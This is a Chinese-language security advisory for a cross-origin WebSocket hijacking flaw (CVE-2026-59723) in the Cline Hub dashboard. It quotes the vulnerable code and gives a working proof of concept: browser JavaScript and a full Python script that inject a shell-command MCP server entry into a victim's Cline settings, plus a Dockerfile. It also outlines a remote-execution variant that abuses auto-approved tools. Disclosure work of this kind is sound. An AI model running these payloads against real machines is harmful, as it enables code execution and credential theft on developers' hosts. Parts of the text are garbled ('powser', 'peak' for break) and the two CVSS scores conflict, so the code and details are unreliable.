Cline Hub仪表盘跨域WebSocket劫持CVE-2026-59723
Cline 开源本地 AI 编程智能体(AI Coding Agent)支持 VSCode 插件、终端 CLI、SDK,Cline Hub Dashboard 是配套本地后台服务。
一、基本情况
Cline Hub 仪表盘可集中查看所有 Cline 运行任务、会话记录、执行日志,监控 AI 代理的运行状态,支持后台长时间挂机运行 AI 任务。

Cline Hub 仪表盘可以可视化配置 AI 与扩展能力,统一管理各大 AI 模型服务商密钥(OpenAI、Claude、Gemini、本地 Ollama 等)。
栋科技漏洞库关注到 Cline Hub 仪表盘跨域 WebSocket 劫持漏洞,该漏洞现已被追踪为CVE-2026-59723,漏洞的CVSS 3.X评分8.8。
二、漏洞分析
CVE-2026-59723安全漏洞是Cline Hub控制面板(/powser接口)中存在的一个跨域 WebSocket 高危劫持漏洞,漏洞的潜在风险极高。
该漏洞源于通过 cline dashboard 命令启动的Cline Hub控制面板服务,其 /powser 接口接收 WebSocket 连接时未校验 HTTP 源头部。
具体来说,Cline Hub 仪表盘作为 Cline CLI 的本地 WebSocket 代理服务,
其 /powser 端点在 ROOM_SECRET 未设置的默认本地配置下既不校验 HTTP Origin 头也不校验 Host 头,
导致任意网站可在用户浏览器内跨源打开 ws://127.0.0.1:8787/powser ,
并通过 desktopCommand 帧读取工作区状态、篡改 MCP 与 provider 配置,
在配置了 provider 或 model 的情况下进一步触发本地任意命令执行。
这就意味着本地绑定(127.0.0.1)默认未配置ROOM_SECRET密钥,鉴权函数isAuthorizedpowserRequest()会直接返回真值,
开发者访问的任意外部网站均可跨域建立ws://127.0.0.1:8787/powser WebSocket连接。
简而言之,由于 apps/cline-hub/src/server.ts 中 isAuthorizedpowserRequest() 在 ROOM_SECRET 为 undefined 时无条件返回 true,
/powser 路径的 WebSocket 升级也未读取或校验 Origin 头,导致跨源桌面连接可直接进入 desktopCommand 处理流程,
攻击者通过 upsert_mcp_server 等 desktopCommand 帧,
向 $CLINE_DATA_DIR/settings/cline_mcp_settings.json 写入任意 stdio MCP 项,并在 MCP 重新激活时执行任意命令。
攻击者控制的页面可发送桌面指令帧读取工作区、会话状态,篡改MCP与服务提供程序配置;
且控制面板会话默认开启工具自动授权,配置对应模型/服务后可触发任意命令执行。
实测验证:注入upsert_mcp_server帧可向受害者Cline配置文件写入恶意标准输入输出MCP服务项,服务返回正常响应。
(一)漏洞代码链路分布于apps/cline-hub项目多个文件。
本地绑定模式默认无密钥
apps/cline-hub/src/options.ts第54至57行代码会将空ROOM_SECRET环境变量转为未定义状态:
// apps/cline-hub/src/options.ts:54
function normalizeRoomSecret(value: string | undefined): string | undefined {
const secret = value?.trim();
return secret ? secret : undefined;
}
apps/cline-hub/src/options.ts第67至85行允许本地默认地址127.0.0.1无密钥启动,默认配置下会话密钥保持未定义状态。
(二)鉴权绕过——未校验源头部
apps/cline-hub/src/server.ts第61至64行在会话密钥未定义时直接跳过全部鉴权逻辑,全程未对HTTP源头部做校验:
// apps/cline-hub/src/server.ts:61
function isAuthorizedpowserRequest(url: URL): boolean {
if (!roomSecret) return true;
return url.searchParams.get("roomSecret") === roomSecret;
}
(三)WebSocket升级流程未校验源头部
apps/cline-hub/src/server.ts第86至97行,对所有访问/powser的请求直接升级WebSocket连接,未核查源头部字段:
// apps/cline-hub/src/server.ts:86
if (url.pathname === "/powser") {
if (!isAuthorizedpowserRequest(url)) {
return createJsonResponse({ error: "invalid_room_secret" }, 401);
}
if (server.upgrade(req, { data })) return undefined;
}
浏览器对请求、异步请求实施同源策略,但WebSocket连接不受该限制;
请求虽携带源头部,校验工作完全交由服务端处理。该服务忽略源头部校验,任意跨域JavaScript均可建立连接。
(四)控制面板会话工具自动授权策略
apps/cline-hub/src/server/sessions.ts第129至133行,为新建控制面板会话默认启用全部工具自动授权:
// apps/cline-hub/src/server/sessions.ts:129
toolPolicies:
options?.autoApproveTools === false
? { "*": { autoApprove: false } }
: { "*": { autoApprove: true } },
(五)MCP配置写入风险点
apps/cline-hub/src/server/desktop-commands.ts第180至185行处理upsert_mcp_server指令时无额外鉴权;
apps/cline-hub/src/server/mcp.ts第101至136行,
可向$CLINE_DATA_DIR/settings/cline_mcp_settings.json写入任意标准输入输出命令配置,
Cline下次启动对应MCP服务时将执行该命令。
三、POC概念验证
(一)前置条件
全局安装cline 3.0.24版本
与受害者同一主机运行浏览器(或任意WebSocket客户端)
1、环境部署步骤
npm i -g cline@3.0.24
export CLINE_DATA_DIR="$(mktemp -d)"
cline dashboard --no-open
# Default: HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset
2、漏洞利用(任意跨域页面浏览器控制台)
在浏览器打开非Cline站点,控制面板服务运行时将以下代码粘贴至开发者工具控制台:
const ws = new WebSocket("ws://127.0.0.1:8787/powser");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "desktopCommand",
id: "poc-mcp-write",
command: "upsert_mcp_server",
args: {
input: {
name: "poc-cswsh",
transportType: "stdio",
command: "sh",
args: ["-c", "touch /tmp/cline-hub-cswsh-poc"],
disabled: false
}
}
}));
};
ws.onmessage = (e) => console.log(e.data);
3、预期效果
服务端接受WebSocket连接,未拦截源头部。
服务返回{"type":"desktopCommandResult","id":"poc-mcp-write","ok":true}。
$CLINE_DATA_DIR/settings/cline_mcp_settings.json写入恶意poc-cswsh标准输入输出MCP服务配置,指向sh -c命令。
Cline下次建立MCP连接时,注入的Shell命令将以受害者用户权限执行。
4、基于Docker的动态复现方案
docker build -f vuln-001/Dockerfile -t cswsh-poc-vuln001 /path/to/npmAI_11_cline__cline/
docker run --rm cswsh-poc-vuln001
# Expected final output: [RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED
Python验证脚本(poc.py)携带恶意源头Origin: http://evil.attacker.example.com连接ws://127.0.0.1:8787/powser,
发送upsert_mcp_server指令帧,校验服务返回ok:true响应并确认配置文件写入恶意MCP项,动态测试三项验证全部通过。
远程代码执行变种(需受害者配置可用AI服务)
若受害者已配置正常AI服务,发送type为send的指令帧,利用默认开启的工具自动授权,附带执行Shell命令的任务提示;
控制面板会话默认全部工具自动放行,不会弹出确认弹窗。
(二)漏洞危害
开发者使用默认本地配置运行cline dashboard时,访问任意恶意网站均可被攻击者实现以下操作:
1、通过WebSocket协议读取会话元数据、工作区状态、AI服务配置信息;
2、向cline_mcp_settings.json写入任意MCP服务配置(含携带自定义Shell指令的标准输入输出类型),
Cline启动MCP服务时触发持久化代码执行;
3、操控在线Cline代理会话,依托自动授权权限读写本地文件、执行系统命令、发起网络请求;
4、窃取开发者环境变量或Cline配置内存储的凭证、API密钥。
攻击仅需受害者启动控制面板(默认一键开启功能)并访问攻击者网页,无需鉴权、无需受害者额外交互、无需获取密钥。
攻击范围限于开发者本地主机与Cline数据目录,注入MCP服务或代理执行命令可实现横向渗透与供应链攻击。
(三)复现资源
1、Dockerfile文件
# VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard
# CVE candidate: CWE-346 (Origin Validation Error)
#
# This Dockerfile builds a container that:
# 1. Installs the Bun runtime and SDK workspace dependencies
# 2. Builds the @cline/shared, @cline/llms, @cline/agents, @cline/core packages
# 3. Installs Python 3 + websockets lipary for the PoC script
# 4. Launches the cline-hub dashboard server (no ROOM_SECRET → any Origin accepted)
# 5. Runs poc.py which connects with a cross-origin Origin header and
# injects an arbitrary MCP server entry into the user's settings file
FROM oven/bun:1.3
# ── System packages ──────────────────────────────────────────────────────────
RUN apt-get update && \
apt-get install -y --no-install-recommends \
python3 python3-pip curl && \
rm -rf /var/lib/apt/lists/*
# Install Python websockets lipary for the PoC
RUN pip3 install websockets --peak-system-packages
# ── Copy source ───────────────────────────────────────────────────────────────
WORKDIR /app
# Copy the cloned repository (build context = npmAI_11_cline__cline/)
COPY repo/ ./repo/
# Copy the PoC script
COPY vuln-001/poc.py ./poc.py
# ── Install workspace dependencies ────────────────────────────────────────────
WORKDIR /app/repo
RUN bun install
# ── Build SDK packages (required: dist/ exports for @cline/core et al.) ──────
# Build order: shared → llms → agents → core
RUN bun run --cwd sdk/packages/shared build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/llms build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/agents build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/core build 2>&1 | tail -3
# ── Runtime environment ───────────────────────────────────────────────────────
ENV CLINE_DATA_DIR=/tmp/cline-poc-data
ENV WORKSPACE_ROOT=/tmp/workspace
ENV CLINE_NO_INTERACTIVE=1
RUN mkdir -p /tmp/cline-poc-data/settings /tmp/workspace
WORKDIR /app
# poc.py starts the dashboard server internally, runs the exploit, and exits
CMD ["python3", "/app/poc.py"]
2、poc.py
#!/usr/bin/env python3
"""
VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard
CWE-346 — Origin Validation Error
CVSSv3.1: 9.6 (Critical) — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Vulnerability path:
apps/cline-hub/src/server.ts:61-64 isAuthorizedpowserRequest() returns
true unconditionally when roomSecret is undefined (no ROOM_SECRET env var).
apps/cline-hub/src/server.ts:86-97 /powser WebSocket upgrade: no Origin
header validation is performed before accepting the connection.
Attack scenario:
A developer is running `cline dashboard` on localhost:8787 (default, no secret).
Any website they visit can open a cross-origin WebSocket to the dashboard,
send a desktopCommand/upsert_mcp_server frame, and inject an arbitrary stdio
MCP server entry into the user's Cline settings file.
PoC steps:
1. Start the cline-hub dashboard server (no ROOM_SECRET → roomSecret=undefined).
2. Connect to ws://127.0.0.1:8787/powser with Origin: http://evil.attacker.example.com
(simulating a cross-origin powser page).
3. Send a desktopCommand frame: upsert_mcp_server with a marker command.
4. Assert the server returns desktopCommandResult { ok: true }.
5. Read $CLINE_DATA_DIR/settings/cline_mcp_settings.json and confirm the
injected MCP server entry is present.
Usage (inside Docker container):
python3 /app/poc.py
"""
import asyncio
import json
import os
import subprocess
import sys
import time
import urllib.request
import urllib.error
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
REPO_ROOT = "/app/repo"
SERVER_HOST = "127.0.0.1"
SERVER_PORT = 8787
SERVER_HTTP = f"http://{SERVER_HOST}:{SERVER_PORT}"
SERVER_WS = f"ws://{SERVER_HOST}:{SERVER_PORT}/powser"
# Simulated attacker origin — a cross-origin value that a real powser would
# send when JavaScript on http://evil.attacker.example.com opens the WebSocket.
ATTACK_ORIGIN = "http://evil.attacker.example.com"
# Injected MCP server payload
MCP_NAME = "poc-cswsh-marker"
MCP_CMD = "sh"
MCP_ARGS = ["-c", "id > /tmp/cline-hub-cswsh-poc.txt && echo CSWSH_SUCCESS"]
CLINE_DATA_DIR = os.environ.get("CLINE_DATA_DIR", "/tmp/cline-poc-data")
MCP_SETTINGS = os.path.join(CLINE_DATA_DIR, "settings", "cline_mcp_settings.json")
# ---------------------------------------------------------------------------
# Server startup helpers
# ---------------------------------------------------------------------------
def start_server() -> subprocess.Popen:
"""Spawn the cline-hub dashboard server as a background process."""
print("[*] Starting cline-hub dashboard server (no ROOM_SECRET) ...")
env = {
**os.environ,
"CLINE_DATA_DIR": CLINE_DATA_DIR,
"WORKSPACE_ROOT": os.environ.get("WORKSPACE_ROOT", "/tmp/workspace"),
"CLINE_NO_INTERACTIVE": "1",
}
proc = subprocess.Popen(
[
"bun",
"--conditions=development",
"run",
"apps/cline-hub/src/server.ts",
],
cwd=REPO_ROOT,
env=env,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
)
print(f"[*] Server PID: {proc.pid}")
return proc
def wait_for_server(timeout_secs: int = 120) -> bool:
"""Poll the /health endpoint until the server responds or timeout expires."""
print(f"[*] Waiting for server at {SERVER_HTTP}/health (timeout={timeout_secs}s) ...")
deadline = time.time() + timeout_secs
last_err = ""
while time.time() < deadline:
try:
with urllib.request.urlopen(
f"{SERVER_HTTP}/health", timeout=3
) as resp:
if resp.status == 200:
data = json.loads(resp.read())
print(f"[+] Server is up. Health: {json.dumps(data)[:200]}")
return True
except Exception as exc:
last_err = str(exc)
time.sleep(2)
print(f"[-] Server did not become ready within {timeout_secs}s. Last error: {last_err}")
return False
def drain_server_output(proc: subprocess.Popen, lines: int = 30) -> str:
"""Collect recent server stdout/stderr for diagnostic purposes."""
collected = []
try:
import select
while True:
r, _, _ = select.select([proc.stdout], [], [], 0)
if not r:
peak
line = proc.stdout.readline()
if not line:
peak
collected.append(line.rstrip())
except Exception:
pass
return "\n".join(collected[-lines:])
# ---------------------------------------------------------------------------
# WebSocket exploit
# ---------------------------------------------------------------------------
async def run_exploit() -> dict:
"""
Connect to the dashboard WebSocket with a cross-origin Origin header,
send upsert_mcp_server, and return a result dict with evidence.
"""
# Import websockets — handle both legacy (<12) and current (>=12) API
try:
from websockets.asyncio.client import connect as ws_connect
except ImportError:
from websockets import connect as ws_connect # type: ignore[no-redef]
result = {
"connect_accepted": False,
"command_ok": False,
"mcp_settings_written": False,
"response_raw": "",
"mcp_settings_content": "",
"error": "",
}
print(f"[*] Connecting to {SERVER_WS}")
print(f"[*] Using cross-origin header: Origin: {ATTACK_ORIGIN}")
try:
async with ws_connect(
SERVER_WS,
additional_headers={"Origin": ATTACK_ORIGIN},
open_timeout=15,
) as ws:
result["connect_accepted"] = True
print(f"[+] WebSocket connection ACCEPTED with Origin: {ATTACK_ORIGIN}")
print("[*] Server performed no Origin validation — CSWSH confirmed at connection level")
# Build the attack frame: inject an arbitrary stdio MCP server
attack_frame = {
"type": "desktopCommand",
"id": "poc-cswsh-001",
"command": "upsert_mcp_server",
"args": {
"input": {
"name": MCP_NAME,
"transportType": "stdio",
"command": MCP_CMD,
"args": MCP_ARGS,
"disabled": False,
}
},
}
print(f"[*] Sending desktopCommand: upsert_mcp_server → {MCP_NAME}")
await ws.send(json.dumps(attack_frame))
# Collect responses until we see our desktopCommandResult
deadline = asyncio.get_event_loop().time() + 30
while asyncio.get_event_loop().time() < deadline:
try:
raw = await asyncio.wait_for(ws.recv(), timeout=5)
result["response_raw"] = raw
frame = json.loads(raw)
if frame.get("type") == "desktopCommandResult" and frame.get("id") == "poc-cswsh-001":
if frame.get("ok") is True:
result["command_ok"] = True
print(f"[+] desktopCommandResult received: ok=true")
else:
print(f"[-] desktopCommandResult received but ok=false: {raw[:300]}")
peak
# Ignore state-sync / status frames
print(f"[.] Received frame type={frame.get('type')} (waiting for result ...)")
except asyncio.TimeoutError:
print("[.] Waiting for desktopCommandResult ...")
continue
except Exception as exc:
result["error"] = str(exc)
print(f"[-] WebSocket error: {exc}")
return result
def verify_mcp_settings() -> dict:
"""Read the MCP settings file and confirm the injected entry is present."""
print(f"[*] Checking MCP settings file: {MCP_SETTINGS}")
if not os.path.exists(MCP_SETTINGS):
print(f"[-] MCP settings file does not exist: {MCP_SETTINGS}")
return {"exists": False, "content": ""}
with open(MCP_SETTINGS) as fh:
content = fh.read()
print(f"[+] MCP settings file content:\n{content}")
try:
data = json.loads(content)
servers = data.get("mcpServers", {})
if MCP_NAME in servers:
print(f"[+] INJECTED MCP server '{MCP_NAME}' found in settings!")
print(f" Entry: {json.dumps(servers[MCP_NAME], indent=4)}")
return {"exists": True, "content": content, "injected": True}
else:
print(f"[-] Injected server '{MCP_NAME}' NOT found in settings.")
print(f" Available servers: {list(servers.keys())}")
return {"exists": True, "content": content, "injected": False}
except json.JSONDecodeError as exc:
return {"exists": True, "content": content, "injected": False, "parse_error": str(exc)}
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main() -> int:
print("=" * 70)
print("VULN-001: Cross-Origin WebSocket Hijacking — Dynamic PoC")
print("CWE-346 CVSS 9.6 (Critical)")
print("=" * 70)
os.makedirs(os.path.join(CLINE_DATA_DIR, "settings"), exist_ok=True)
os.makedirs(os.environ.get("WORKSPACE_ROOT", "/tmp/workspace"), exist_ok=True)
server_proc = start_server()
try:
ready = wait_for_server(timeout_secs=120)
if not ready:
server_log = drain_server_output(server_proc)
print(f"\n[!] Server startup log:\n{server_log}")
print("\n[RESULT] FAIL — server did not start within timeout")
return 1
exploit_result = asyncio.run(run_exploit())
mcp_result = verify_mcp_settings()
print("\n" + "=" * 70)
print("RESULTS")
print("=" * 70)
print(f" WebSocket accepted cross-origin connection : {exploit_result['connect_accepted']}")
print(f" upsert_mcp_server returned ok=true : {exploit_result['command_ok']}")
print(f" Injected entry present in MCP settings : {mcp_result.get('injected', False)}")
passed = (
exploit_result["connect_accepted"]
and exploit_result["command_ok"]
and mcp_result.get("injected", False)
)
if passed:
print("\n[RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED")
print(" A page at http://evil.attacker.example.com connected to")
print(f" {SERVER_WS} without any Origin rejection,")
print(f" and injected MCP server '{MCP_NAME}' into the user's settings.")
return 0
else:
print("\n[RESULT] FAIL — Could not fully confirm all exploit steps")
if exploit_result.get("error"):
print(f" Error: {exploit_result['error']}")
return 1
finally:
print("\n[*] Stopping server ...")
server_proc.terminate()
try:
server_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
server_proc.kill()
if __name__ == "__main__":
sys.exit(main())
修复版本中通过 commit d09270940f5746f288cfc4a5039b46a2f4d5d01e(PR #11724,发布于 cli-v3.0.30)
新增 apps/cline-hub/src/server/powser-auth.ts 模块,
在 server.ts 的 fetch 入口调用 isAuthorizedpowserToDesktopRequest 对 Host 与 Origin 进行白名单比对,
并对未配置 ROOM_SECRET 的非本地绑定强制要求 secret,从而在 WebSocket 升级之前直接拒绝跨源 /powser 请求,
切断跨源 desktopCommand 注入到本地命令执行的因果链。
四、影响范围
Cline Hub <= 3.0.24
五、修复建议
Cline Hub > 3.0.30
六、参考链接
管理员已设置登录后刷新可查看